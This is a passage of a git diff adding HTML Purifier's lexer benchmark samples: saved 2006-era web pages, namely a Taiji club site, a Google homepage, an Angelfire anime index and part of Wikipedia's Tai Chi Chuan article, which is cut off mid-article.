+<div id="sidebar">
+<h3>Recent News</h3>
+<ul>
+ <li>Zou Xiaojun was elected as the new club vice president </li>
+
+ <li>HX Edison Taiji Club <a href="http://www.taijiclub.org/downloads/Taiji_club_regulation_.pdf">by-law</a> effective 3/28/2006</li>
+ <li>A new email account for our club: HXEdisontaijiclub@yahoo.com</li>
+
+ <li>Workshop conducted by <a href="http://www.taijiclub.org/ch/Digest/LiDeyin">?????</a> Li Deyin is set on June 4, 2006 at Clarion Hotel in Edison from 9:30am-12pm; <a href="http://www.taijiclub.org/en/Registration">Registration</a></li>
+
+</ul>
+</div>
+
+
+
+<p><i>Taiji</i> is an ancient Chinese tradition of movement systems that is associated with philosophy, physiology, psychology, geometry and dynamics. It is the slowest form of martial arts and is meant to improve the internal spirit. It is soothing to the soul and extremely invigorating. </p>
+
+<p>The founder of Taiji was Zhang Sanfeng (Chang San-feng), who was a monk of the Wu Dang (Wu Tang) Monastery and lived in the period from 1391 to 1459. His exercises stressed suppleness and elasticity as opposed to the hardness and force of other martial art styles. Several centuries old, Taiji was originally developed as a form of self-defense, emphasizing strength, balance, flexibility and speed. Tai Chi also differs from other martial arts in that it is based on the Taoist religion and aims to avoid aggressive forces. </p>
+
+<p>Modern Taiji includes many forms &mdash; Quan, Sword and Fan. Impacting the mind and body of the practitioners, Taiji is practiced as a meditative exercise made up of a series of forms, or choreographed motions, requiring slow, gentle movement of the arms, legs and torso. Taiji practitioners learn to center their attention on their breathing and body movements so that the exercise strengthens their overall mental and physical awareness. In a sense, Taiji is similar to yoga in that it is also a form of moving meditation, with the goal of achieving stillness through the motion and awareness of breath. To perform Taiji, practitioners have to empty their mind of thoughts and worries in order to achieve harmony. It is a great aid for reducing stress and improving the quality of life. </p>
+
+<p>In China and in communities all over the world, Taiji is practiced by young and old in the early morning hours. It's a great way to bring a new and fresh day!</p>
+
+<p>Check out our <a href="/gallery2/main.php">gallery</a>.</p>
+
+<div style="text-align:center;"><a href="http://www.taijiclub.org/gallery2/v/2006/group1b.jpg.html?g2_imageViewsIndex=1"><img src="/gallery2/d/1836-2/group1b.jpg" /></a></div>
+
+<div style="text-align:center;">Click on photo to see HR version</div></div>
+</body>
+</html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/2.html b/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/2.html
new file mode 100644
index 000000000..a56445763
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/2.html
@@ -0,0 +1,20 @@
+<html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Google</title><style><!--
+body,td,a,p,.h{font-family:arial,sans-serif;}
+.h{font-size: 20px;}
+.q{color:#0000cc;}
+//-->
+</style>
+<script>
+<!--
+function sf(){document.f.q.focus();}
+function rwt(el,ct,cd,sg){var e = window.encodeURIComponent ? encodeURIComponent : escape;el.href="/url?sa=t&ct="+e(ct)+"&cd="+e(cd)+"&url="+e(el.href).replace(/\+/g,"%2B")+"&ei=fHNBRJDEG4HSaLONmIoP"+sg;el.onmousedown="";return true;}
+// -->
+</script>
+</head><body bgcolor=#ffffff text=#000000 link=#0000cc vlink=#551a8b alink=#ff0000 onLoad=sf() topmargin=3 marginheight=3><center><table border=0 cellspacing=0 cellpadding=0 width=100%><tr><td align=right nowrap><font size=-1><b>edwardzyang@gmail.com</b>&nbsp;|&nbsp;<a href="/url?sa=p&pref=ig&pval=2&q=http://www.google.com/ig%3Fhl%3Den" onmousedown="return rwt(this,'pro','hppphou:def','&sig2=hDbTpsWIp9YG37a23n6krQ')">Personalized Home</a>&nbsp;|&nbsp;<a href="/searchhistory/?hl=en">Search History</a>&nbsp;|&nbsp;<a href="https://www.google.com/accounts/ManageAccount">My Account</a>&nbsp;|&nbsp;<a href="http://www.google.com/accounts/Logout?continue=http://www.google.com/">Sign out</a></font></td></tr><tr height=4><td><img alt="" width=1 height=1></td></tr></table><img src="/intl/en/images/logo.gif" width=276 height=110 alt="Google"><br><br>
+<form action=/search name=f><script><!--
+function qs(el) {if (window.RegExp && window.encodeURIComponent) {var ue=el.href;var qe=encodeURIComponent(document.f.q.value);if(ue.indexOf("q=")!=-1){el.href=ue.replace(new RegExp("q=[^&$]*"),"q="+qe);}else{el.href=ue+"&q="+qe;}}return 1;}
+// -->
+</script><table border=0 cellspacing=0 cellpadding=4><tr><td nowrap><font size=-1><b>Web</b>&nbsp;&nbsp;&nbsp;&nbsp;<a id=1a class=q href="/imghp?hl=en&tab=wi" onClick="return qs(this);">Images</a>&nbsp;&nbsp;&nbsp;&nbsp;<a id=2a class=q href="http://groups.google.com/grphp?hl=en&tab=wg" onClick="return qs(this);">Groups</a>&nbsp;&nbsp;&nbsp;&nbsp;<a id=4a class=q href="http://news.google.com/nwshp?hl=en&tab=wn" onClick="return qs(this);">News</a>&nbsp;&nbsp;&nbsp;&nbsp;<a id=5a class=q href="http://froogle.google.com/frghp?hl=en&tab=wf" onClick="return qs(this);">Froogle</a>&nbsp;&nbsp;&nbsp;&nbsp;<a id=8a class=q href="/lochp?hl=en&tab=wl" onClick="return qs(this);">Local</a>&nbsp;&nbsp;&nbsp;&nbsp;<b><a href="/intl/en/options/" class=q>more&nbsp;&raquo;</a></b></font></td></tr></table><table cellspacing=0 cellpadding=0><tr><td width=25%>&nbsp;</td><td align=center><input type=hidden name=hl value=en><input maxlength=2048 size=55 name=q value="" title="Google Search"><br><input type=submit value="Google Search" name=btnG><input type=submit value="I'm Feeling Lucky" name=btnI></td><td valign=top nowrap width=25%><font size=-2>&nbsp;&nbsp;<a href=/advanced_search?hl=en>Advanced Search</a><br>&nbsp;&nbsp;<a href=/preferences?hl=en>Preferences</a><br>&nbsp;&nbsp;<a href=/language_tools?hl=en>Language Tools</a></font></td></tr></table></form><br><br><font size=-1><a href="/ads/">Advertising&nbsp;Programs</a> - <a href=/services/>Business Solutions</a> - <a href=/about.html>About Google</a></font><p><font size=-2>&copy;2006 Google</font></p></center></body></html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/3.html b/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/3.html
new file mode 100644
index 000000000..9e9f1a361
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/3.html
@@ -0,0 +1,131 @@
+<html>
+<head>
+<title>Anime Digi-Lib Index</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+</head>
+
+<div id="tb">
+
+<form name="lycos_search" method="get" target="_new" style="margin: 0px"
+ action="http://r.hotbot.com/r/memberpgs_lycos_searchbox_af/http://www.angelfire.lycos.com/cgi-bin/search/pursuit">
+
+ <table id="tbtable" cellpadding="0" cellspacing="0" border="0" width="100%" style="border: 1px solid black;">
+ <tr style="background-color: #dcf7ff">
+ <td colspan="3">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td>&nbsp;Search:</td>
+
+ <td><input type="radio" name="cat" value="lycos" checked></td>
+ <td nowrap="nowrap">The Web</td>
+ <td><input type="radio" name="cat" value="angelfire"></td>
+ <td nowrap="nowrap">Angelfire</td>
+ <td nowrap="nowrap">&nbsp;&nbsp;&nbsp;<img src="http://af.lygo.com/d/toolbar/planeticon.gif"></td><td nowrap="nowrap">&nbsp;<a href="http://r.lycos.com/r/tlbr_planet/http://planet.lycos.com" target="_new">Planet</a></td>
+ </tr>
+ </table>
+ <td nowrap="nowrap"><a href="http://lt.angelfire.com/af_toolbar/edit/_h_/www.angelfire.lycos.com/build/index.tmpl" target="_top">
+ <span id="build">Edit your Site</span></a>&nbsp;</td>
+
+ <td><img src="http://af.lygo.com/d/toolbar/dir.gif" alt="show site directory" border="0" height="10" hspace="3" width="8"></td>
+ <td nowrap="nowrap"><a href="http://lt.angelfire.com/af_toolbar/browse/_h_/www.angelfire.lycos.com/directory/index.tmpl" target="_top">Browse Sites</a>&nbsp;</td>
+ <td><a href="http://lt.angelfire.com/af_toolbar/angelfire/_h_/www.angelfire.lycos.com" target="_top"><img src="http://af.lygo.com/d/toolbar/aflogo_top.gif" alt="hosted by angelfire" border="0" height="26" width="143"></a></td>
+ </tr>
+ <tr style="background-color: #dcf7ff">
+ <td nowrap="nowrap" valign="middle">&nbsp;<input size="30" style="font-size: 10px; background-color: #fff;" type="text" name="query" id="searchbox"></td>
+
+ <td style="background: #fff url(http://af.lygo.com/d/toolbar/bg.gif) repeat-x; text-align: center;" colspan="3" align="center">
+ <a href="http://clk.atdmt.com/VON/go/lycsnvon0710000019von/direct/01/"><img src="/sys/free_logo_xxxx_157x20.gif" height="20" width="157" border="0" alt="Vonage"></a><img src="http://view.atdmt.com/VON/view/lycsnvon0710000019von/direct/01/"></td>
+
+ <span style="font-size: 11px;">
+ <span style="color:#00f; font-weight:bold;">&#171;</span>
+ <span id="top100">
+ <a href="javascript:void top100('prev')" target="_top">Previous</a> |
+ <a href="http://lt.angelfire.com/af_toolbar/top100/_h_/www.angelfire.lycos.com/cgi-bin/top100/pagelist?start=1" target="_top">Top 100</a> |
+ <a href="javascript:void top100('next')" target="_top">Next</a>
+
+ </span>
+ <span style="color: #00f; font-weight: bold;">&#187;</span>
+ </span>
+ </td>
+ <td valign="top" style="background: #fff url(http://af.lygo.com/d/toolbar/bg.gif) repeat-x;"><a href="http://lt.angelfire.com/af_toolbar/angelfire/_h_/www.angelfire.lycos.com" target="_top"><img src="http://af.lygo.com/d/toolbar/aflogo_bot.gif" alt="hosted by angelfire" border="0" height="22" width="143"></a></td>
+ </tr>
+ </table>
+ </form>
+ </div>
+
+<table border="0" cellpadding="0" cellspacing="0" width="728"><tr><td>
+ <script type="text/javascript">
+if (objAdMgr.isSlotAvailable("leaderboard")) {
+ objAdMgr.renderSlot("leaderboard")
+}
+</script>
+<noscript>
+<a href="http://network.realmedia.com/RealMedia/ads/click_nx.ads/lycosangelfire/ros/728x90/wp/ss/a/491169@Top1?x"><img border="0" src="http://network.realmedia.com/RealMedia/ads/adstream_nx.ads/lycosangelfire/ros/728x90/wp/ss/a/491169@Top1" alt="leaderboard ad" /></a>
+</noscript>
+
+</td></tr>
+</table>
+<table width="86%" border="0" cellspacing="0" cellpadding="2">
+ <tr>
+ <td height="388" width="19%" bgcolor="#FFCCFF" valign="top">
+ <p>May 1, 2000</p>
+ <p><b>Pop Culture</b> </p>
+ <p>by. H. Finkelstein</p>
+
+ </td>
+ <td height="388" width="52%" valign="top">
+ <p>Welcome to the <b>Anime Digi-Lib</b>, a virtual index to anime on the
+ internet. This site strives to house a comprehensive index to both personal
+ and commercial websites and provides reviews to these sites. We hope to
+ be a gateway for people who've never imagined they'd ever be interested
+ in Japanese Animation. </p>
+ <table width="99%" border="1" cellspacing="0" cellpadding="2" height="320" name="Searchnservices">
+ <tr>
+ <td height="263" valign="top" width="58%">
+ <p>&nbsp; </p>
+ <p>&nbsp;</p>
+
+<FORM ACTION="/cgi-bin/script_library/site_search/search" METHOD="GET">
+
+<table border="0" cellpadding="2" cellspacing="0">
+<tr>
+<td colspan="2">Search term: <INPUT NAME="search_term"><br></td>
+</tr>
+<tr>
+<td colspan="2" align="center">Case-sensitive -
+<INPUT TYPE="checkbox" NAME="case_sensitive">yes<br></td>
+</tr>
+<tr>
+<td align="right"><INPUT TYPE="radio" NAME="search_type" VALUE="exact" CHECKED>exact</td>
+<td><INPUT TYPE="radio" NAME="search_type" VALUE="fuzzy">fuzzy<br></td>
+
+</tr>
+<tr>
+<td colspan="2" align="center"><INPUT TYPE="hidden" NAME="display" VALUE="#FF0000"><INPUT TYPE="submit"></td>
+</tr>
+</table>
+</form>
+
+
+ <td>
+ <table border="0" cellpadding="0" cellspacing="0" width="100%">
+<tr><td><font face="verdana,geneva" color="#000011" size="1">What is better, subtitled or dubbed anime?</font></td></tr>
+<tr><td><input type="radio" name="rd" value="1"><font face="verdana" size="2" color="#000011">Subtitled</font></td></tr>
+
+<tr><td align="middle"><font face="verdana" size="1"><a href="http://pub.alxnet.com/poll?id=2079873&q=view">Current results</a></font></td></tr>
+</table></td></tr>
+ <tr>
+ <td><font face="verdana" size="1"><a href="http://www.alxnet.com/services/poll/">Free
+ Web Polls</a></font></td>
+ </tr>
+</table></form>
+<!-- Alxnet.com -- web poll code ends -->
+ </td>
+ </tr>
+</table>
+</body>
+
+</html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/4.html b/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/4.html
new file mode 100644
index 000000000..27cea255f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/4.html
@@ -0,0 +1,543 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
+ <head>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <meta name="keywords" content="Tai Chi Chuan,Yang Pan-hou,Yang Chien-hou,Yang style Tai Chi Chuan,Yang Lu-ch'an,Wu/Hao style T'ai Chi Ch'uan,Wu Ch'uan-yü,Hao Wei-chen,Yang Shou-chung,Wu style T'ai Chi Ch'uan,Wu Chien-ch'üan" />
+<link rel="shortcut icon" href="/favicon.ico" />
+<link rel="copyright" href="http://www.gnu.org/copyleft/fdl.html" />
+ <title>Tai Chi Chuan - Wikipedia, the free encyclopedia</title>
+ <style type="text/css" media="screen,projection">/*<![CDATA[*/ @import "/skins-1.5/monobook/main.css?9"; /*]]>*/</style>
+ <link rel="stylesheet" type="text/css" media="print" href="/skins-1.5/common/commonPrint.css" />
+
+ <!--[if lt IE 5.5000]><style type="text/css">@import "/skins-1.5/monobook/IE50Fixes.css";</style><![endif]-->
+ <!--[if IE 5.5000]><style type="text/css">@import "/skins-1.5/monobook/IE55Fixes.css";</style><![endif]-->
+ <!--[if IE 6]><style type="text/css">@import "/skins-1.5/monobook/IE60Fixes.css";</style><![endif]-->
+ <!--[if IE 7]><style type="text/css">@import "/skins-1.5/monobook/IE70Fixes.css?1";</style><![endif]-->
+ <!--[if lt IE 7]><script type="text/javascript" src="/skins-1.5/common/IEFixes.js"></script>
+ <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
+ <script type="text/javascript">var skin = 'monobook';var stylepath = '/skins-1.5';</script>
+ <script type="text/javascript" src="/skins-1.5/common/wikibits.js?1"><!-- wikibits js --></script>
+ <script type="text/javascript" src="/w/index.php?title=-&amp;action=raw&amp;smaxage=0&amp;gen=js"><!-- site js --></script>
+
+ <style type="text/css">/*<![CDATA[*/
+@import "/w/index.php?title=MediaWiki:Common.css&action=raw&ctype=text/css&smaxage=2678400";
+@import "/w/index.php?title=MediaWiki:Monobook.css&action=raw&ctype=text/css&smaxage=2678400";
+@import "/w/index.php?title=-&action=raw&gen=css&maxage=2678400&ts=20060721225848";
+@import "/w/index.php?title=User:Edward_Z._Yang/monobook.css&action=raw&ctype=text/css";
+/*]]>*/</style>
+ <script type="text/javascript" src="/w/index.php?title=User:Edward_Z._Yang/monobook.js&amp;action=raw&amp;ctype=text/javascript&amp;dontcountme=s"></script>
+ <!-- Head Scripts -->
+ </head>
+<body class="ns-0 ltr">
+ <div id="globalWrapper">
+ <div id="column-content">
+ <div id="content">
+
+ <a name="top" id="top"></a>
+ <div id="siteNotice"><div id="wikimania2006" style="text-align:right; font-size:80%"><a href="http://wm06reg.wikimedia.org/" class="external text" title="http://wm06reg.wikimedia.org/">Registration</a> for <a href="http://wikimania2006.wikimedia.org" class="external text" title="http://wikimania2006.wikimedia.org">Wikimania 2006</a> is open.&nbsp;&nbsp;&nbsp;</div>
+</div> <h1 class="firstHeading">Tai Chi Chuan</h1>
+ <div id="bodyContent">
+ <h3 id="siteSub">From Wikipedia, the free encyclopedia</h3>
+
+ <div id="contentSub"></div>
+ <div id="jump-to-nav">Jump to: <a href="#column-one">navigation</a>, <a href="#searchInput">search</a></div> <!-- start content -->
+ <table border="1" cellpadding="2" cellspacing="0" align="right">
+<tr>
+<th colspan="2" bgcolor="#FFCCCC"><big>???</big></th>
+</tr>
+<tr>
+<td colspan="2">
+
+<div class="center">
+<div class="thumb tnone">
+<div style="width:182px;"><a href="/wiki/Image:Yang_Ch%27eng-fu_circa_1918.jpg" class="internal" title="Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918"><img src="http://upload.wikimedia.org/wikipedia/en/thumb/d/d1/Yang_Ch%27eng-fu_circa_1918.jpg/180px-Yang_Ch%27eng-fu_circa_1918.jpg" alt="Yang Chengfu in a posture from the Tai Chi solo form known as Single Whip, circa 1918" width="180" height="255" longdesc="/wiki/Image:Yang_Ch%27eng-fu_circa_1918.jpg" /></a>
+<div class="thumbcaption">
+<div class="magnify" style="float:right"><a href="/wiki/Image:Yang_Ch%27eng-fu_circa_1918.jpg" class="internal" title="Enlarge"><img src="/skins-1.5/common/images/magnify-clip.png" width="15" height="11" alt="Enlarge" /></a></div>
+<b><a href="/wiki/Yang_Chengfu" title="Yang Chengfu">Yang Chengfu</a> in a posture from the Tai Chi solo form known as <i>Single Whip</i>, circa <a href="/wiki/1918" title="1918">1918</a></b></div>
+</div>
+</div>
+</div>
+</td>
+</tr>
+
+<tr>
+<th colspan="2"><a href="/wiki/Chinese_language" title="Chinese language">Chinese</a> Name</th>
+</tr>
+<tr>
+<td><a href="/wiki/Hanyu_Pinyin" title="Hanyu Pinyin">Hanyu Pinyin</a></td>
+<td>Tàijíquán</td>
+</tr>
+<tr>
+<td><a href="/wiki/Wade-Giles" title="Wade-Giles">Wade-Giles</a></td>
+<td>T'ai<sup>4</sup> Chi<sup>2</sup> Ch'üan<sup>2</sup></td>
+
+</tr>
+<tr>
+<td><a href="/wiki/Simplified_Chinese" title="Simplified Chinese">Simplified Chinese</a></td>
+<td>???</td>
+</tr>
+<tr>
+<td><a href="/wiki/Traditional_Chinese" title="Traditional Chinese">Traditional Chinese</a></td>
+<td><a href="http://en.wiktionary.org/wiki/%E5%A4%AA" class="extiw" title="wiktionary:?">?</a><a href="http://en.wiktionary.org/wiki/%E6%A5%B5" class="extiw" title="wiktionary:?">?</a><a href="http://en.wiktionary.org/wiki/%E6%8B%B3" class="extiw" title="wiktionary:?">?</a></td>
+</tr>
+<tr>
+<td><a href="/wiki/Cantonese_%28linguistics%29" title="Cantonese (linguistics)">Cantonese</a></td>
+
+<td>taai3 gik6 kyun4</td>
+</tr>
+<tr>
+<td><a href="/wiki/Hiragana" title="Hiragana">Japanese Hiragana</a></td>
+<td>???????</td>
+</tr>
+<tr>
+<td><a href="/wiki/Korean_%28language%29" title="Korean (language)">Korean</a></td>
+<td>???</td>
+</tr>
+<tr>
+<td><a href="/wiki/Vietnamese_%28language%29" title="Vietnamese (language)">Vietnamese</a></td>
+
+<td>Thái C?c Quy?n</td>
+</tr>
+</table>
+<p><b>Tai Chi Chuan</b>, <b>T'ai Chi Ch'üan</b> or <b>Taijiquan</b> (<a href="/wiki/Traditional_Chinese_character" title="Traditional Chinese character">Traditional Chinese</a>: ???; <a href="/wiki/Simplified_Chinese_character" title="Simplified Chinese character">Simplified Chinese</a>: ???; <a href="/wiki/Pinyin" title="Pinyin">pinyin</a>: Tàijíquán; literally "supreme ultimate fist"), commonly known as <b>Tai Chi</b>, <b>T'ai Chi</b>, or <b><a href="/wiki/Taiji" title="Taiji">Taiji</a></b>, is an <a href="/wiki/Neijia" title="Neijia">internal</a> <a href="/wiki/Chinese_martial_arts" title="Chinese martial arts">Chinese martial art</a>. There are different styles of T'ai Chi Ch'üan, although most agree they are all based on the system originally taught by the <a href="/wiki/Chen" title="Chen">Chen</a> family to the <a href="/wiki/Yang" title="Yang">Yang</a> family starting in <a href="/wiki/1820" title="1820">1820</a>. It is often promoted and practiced as a <a href="/wiki/Martial_arts_therapy" title="Martial arts therapy">martial arts therapy</a> for the purposes of <a href="/wiki/Health" title="Health">health</a> and <a href="/wiki/Longevity" title="Longevity">longevity</a>, (some <a href="/wiki/Tai_Chi_Chuan#Citations_to_medical_research" title="Tai Chi Chuan">recent medical studies</a> support its effectiveness). T'ai Chi Ch'üan is considered a <i>soft</i> style martial art, an art applied with as complete a relaxation or "softness" in the musculature as possible, to distinguish its theory and application from that of the <i>hard</i> martial art styles which use a degree of tension in the muscles.</p>
+
+<p>Variations of T'ai Chi Ch'üan's basic training forms are well known as the slow motion routines that groups of people practice every morning in parks across China and other parts of the world. Traditional T'ai Chi training is intended to teach awareness of one's own balance and what affects it, awareness of the same in others, an appreciation of the practical value in one's ability to moderate extremes of behavior and attitude at both mental and physical levels, and how this applies to effective self-defense principles.</p>
+<table id="toc" class="toc" summary="Contents">
+<tr>
+<td>
+<div id="toctitle">
+<h2>Contents</h2>
+</div>
+<ul>
+<li class="toclevel-1"><a href="#Overview"><span class="tocnumber">1</span> <span class="toctext">Overview</span></a></li>
+<li class="toclevel-1"><a href="#Training_and_techniques"><span class="tocnumber">2</span> <span class="toctext">Training and techniques</span></a></li>
+
+<li class="toclevel-1"><a href="#Styles_and_history"><span class="tocnumber">3</span> <span class="toctext">Styles and history</span></a>
+<ul>
+<li class="toclevel-2"><a href="#Family_tree"><span class="tocnumber">3.1</span> <span class="toctext">Family tree</span></a></li>
+<li class="toclevel-2"><a href="#Notes_to_Family_tree_table"><span class="tocnumber">3.2</span> <span class="toctext">Notes to Family tree table</span></a></li>
+</ul>
+</li>
+<li class="toclevel-1"><a href="#Modern_T.27ai_Chi"><span class="tocnumber">4</span> <span class="toctext">Modern T'ai Chi</span></a>
+
+<ul>
+<li class="toclevel-2"><a href="#Modern_forms"><span class="tocnumber">4.1</span> <span class="toctext">Modern forms</span></a></li>
+</ul>
+</li>
+<li class="toclevel-1"><a href="#Health_benefits"><span class="tocnumber">5</span> <span class="toctext">Health benefits</span></a>
+<ul>
+<li class="toclevel-2"><a href="#Citations_to_medical_research"><span class="tocnumber">5.1</span> <span class="toctext">Citations to medical research</span></a></li>
+</ul>
+
+</li>
+<li class="toclevel-1"><a href="#See_also"><span class="tocnumber">6</span> <span class="toctext">See also</span></a></li>
+<li class="toclevel-1"><a href="#External_links"><span class="tocnumber">7</span> <span class="toctext">External links</span></a></li>
+</ul>
+</td>
+</tr>
+</table>
+<p><script type="text/javascript">
+//<![CDATA[
+ if (window.showTocToggle) { var tocShowText = "show"; var tocHideText = "hide"; showTocToggle(); }
+//]]>
+</script></p>
+<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=edit&amp;section=1" title="Edit section: Overview">edit</a>]</div>
+
+<p><a name="Overview" id="Overview"></a></p>
+<h2>Overview</h2>
+<p>Historically, T'ai Chi Ch'üan has been regarded as a martial art, and its traditional practitioners still teach it as one. Even so, it has developed a worldwide following among many thousands of people with little or no interest in martial training for its aforementioned benefits to health and <a href="/wiki/Preventive_medicine" title="Preventive medicine">health maintenance</a>. Some call it a form of moving <a href="/wiki/Meditation" title="Meditation">meditation</a>, and T'ai Chi theory and practice evolved in agreement with many of the principles of <a href="/wiki/Traditional_Chinese_medicine" title="Traditional Chinese medicine">traditional Chinese medicine</a>. Besides general health benefits and <a href="/wiki/Stress_management" title="Stress management">stress management</a> attributed to beginning and intermediate level T'ai Chi training, many therapeutic interventions along the lines of traditional Chinese medicine are taught to advanced T'ai Chi students.</p>
+<p>T'ai Chi Ch'üan as physical training is characterized by its requirement for the use of leverage through the joints based on coordination in relaxation rather than muscular tension in order to neutralize or initiate physical attacks. The slow, repetitive work involved in that process is said to gently increase and open the internal circulation (<a href="/wiki/Breath" title="Breath">breath</a>, body heat, <a href="/wiki/Blood" title="Blood">blood</a>, <a href="/wiki/Lymph" title="Lymph">lymph</a>, <a href="/wiki/Peristalsis" title="Peristalsis">peristalsis</a>, etc.). Over time, proponents say, this enhancement becomes a lasting effect, a direct reversal of the constricting physical effects of stress on the human body. This reversal allows much more of the students' native energy to be available to them, which they may then apply more effectively to the rest of their lives; families, careers, spiritual or creative pursuits, hobbies, etc.</p>
+
+<p>The study of T'ai Chi Ch'üan involves three primary subjects:</p>
+<ul>
+<li><b>Health</b> - an unhealthy or otherwise uncomfortable person will find it difficult to meditate to a state of calmness or to use T'ai Chi as a martial art. T'ai Chi's health training therefore concentrates on relieving the physical effects of stress on the body and mind.</li>
+<li><b>Meditation</b> - the focus meditation and subsequent calmness cultivated by the meditative aspect of T'ai Chi is seen as necessary to maintain optimum health (in the sense of effectively maintaining stress relief or <a href="/wiki/Homeostasis" title="Homeostasis">homeostasis</a>) and in order to use it as a soft style martial art.</li>
+<li><b>Martial art</b> - the ability to competently use T'ai Chi as a martial art is said to be proof that the health and meditation aspects are working according to the dictates of the theory of T'ai Chi Ch'üan.</li>
+
+</ul>
+<p>In its traditional form (many modern variations exist which ignore at least one of the above requirements) every aspect of its training has to conform with all three of the aforementioned categories.</p>
+<p>The <a href="/wiki/Mandarin_%28linguistics%29" title="Mandarin (linguistics)">Mandarin</a> term "T'ai Chi Ch'üan" translates as "Supreme Ultimate Boxing" or "Boundless Fist". T'ai Chi training involves learning solo routines, known as <i>forms</i>, and two person routines, known as <i><a href="/wiki/Pushing_hands" title="Pushing hands">pushing hands</a></i>, as well as <i><a href="/wiki/Acupressure" title="Acupressure">acupressure</a></i>-related manipulations taught by traditional schools. T'ai Chi Ch'üan is seen by many of its schools as a variety of <a href="/wiki/Taoism" title="Taoism">Taoism</a>, and it does seemingly incorporate many Taoist principles into its practice (see below). It is an art form said to date back many centuries (although not reliably documented under that name before 1850), with precursor disciplines dating back thousands of years. The explanation given by the traditional T'ai Chi family schools for why so many of their previous generations have dedicated their lives to the study and preservation of the art is that the discipline it seems to give its students to dramatically improve the effects of stress in their lives, with a few years of hard work, should hold a useful purpose for people living in a stressful world. They say that once the T'ai Chi principles have been understood and internalized into the bodily framework the practitioner will have an immediately accessible "toolkit" thereby to improve and then maintain their health, to provide a meditative focus, and that can work as an effective and subtle martial art for self-defense.</p>
+<p>Teachers say the study of T'ai Chi Ch'üan is, more than anything else, about challenging one's ability to change oneself appropriately in response to outside forces. These principles are taught using the examples of <a href="/wiki/Physics" title="Physics">physics</a> as experienced by two (or more) bodies in <a href="/wiki/Combat" title="Combat">combat</a>. In order to be able to protect oneself or someone else by using change, it is necessary to understand what the consequences are of changing appropriately, changing inappropriately and not changing at all in response to an attack. Students, by this theory, will appreciate the full benefits of the entire art in the fastest way through physical training of the martial art aspect.</p>
+
+<p><a href="/wiki/Wu_Chien-ch%27uan" title="Wu Chien-ch'uan">Wu Chien-ch'üan</a>, co-founder of the Wu family style, described the name <i>T'ai Chi Ch'üan</i> this way at the beginning of the <a href="/wiki/20th_century" title="20th century">20th century</a>:</p>
+<dl>
+<dd>"Various people have offered different explanations for the name <i>T'ai Chi Ch'uan</i>. Some have said: 'In terms of self-cultivation, one must train from a state of movement towards a state of stillness. <i>T'ai Chi</i> comes about through the balance of <i><a href="/wiki/Yin" title="Yin">yin</a></i> and <i><a href="/wiki/Yang" title="Yang">yang</a></i>. In terms of the art of attack and defense then, in the context of the <a href="/wiki/I_Ching" title="I Ching">changes</a> of full and empty, one is constantly internally latent, not outwardly expressive, as if the <i>yin</i> and <i>yang</i> of <i>T'ai Chi</i> have not yet divided apart.'</dd>
+
+<dd>Others say: 'Every movement of <i>T'ai Chi Ch'uan</i> is based on circles, just like the shape of a <a href="/wiki/Taijitu" title="Taijitu"><i>T'ai Chi</i> symbol</a>. Therefore, it is called <i>T'ai Chi Ch'uan</i>.' Both explanations are quite reasonable, especially the second, which is more complete."</dd>
+</dl>
+<div class="editsection" style="float:right;margin-left:5px;">[<a href="/w/index.php?title=Tai_Chi_Chuan&amp;action=edit&amp;section=2" title="Edit section: Training and techniques">edit</a>]</div>
+<p><a name="Training_and_techniques" id="Training_and_techniques"></a></p>
+
+<h2>Training and techniques</h2>
+<div class="thumb tright">
+<div style="width:182px;"><a href="/wiki/Image:Yin_yang.svg" class="internal" title="The T'ai Chi Symbol or T'ai Chi T'u (Taijitu)"><img src="http://upload.wikimedia.org/wikipedia/commons/thumb/1/17/Yin_yang.svg/180px-Yin_yang.svg.png" alt="The T'ai Chi Symbol or T'ai Chi T'u (Taijitu)" width="180" height="180" longdesc="/wiki/Image:Yin_yang.svg" /></a>
+<div class="thumbcaption">
+<div class="magnify" style="float:right"><a href="/wiki/Image:Yin_yang.svg" class="internal" title="Enlarge"><img src="/skins-1.5/common/images/magnify-clip.png" width="15" height="11" alt="Enlarge" /></a></div>
+<b>The T'ai Chi Symbol or T'ai Chi T'u (Taijitu)</b></div>
+</div>
+</div>
+<p>As the name <i>T'ai Chi Ch'üan</i> is held to be derived from the T'ai Chi symbol, the <i>taijitu</i> or <i>t'ai chi t'u</i> (???, <a href="/wiki/Pinyin" title="Pinyin">pinyin</a> tàijítú), commonly known in the West as the "<a href="/wiki/Yin-yang" title="Yin-yang">yin-yang</a>" diagram, T'ai Chi Ch'üan techniques are said therefore to physically and energetically balance <i>yin</i> (receptive) and <i>yang</i> (active) principles: "From ultimate softness comes ultimate hardness."</p>
+
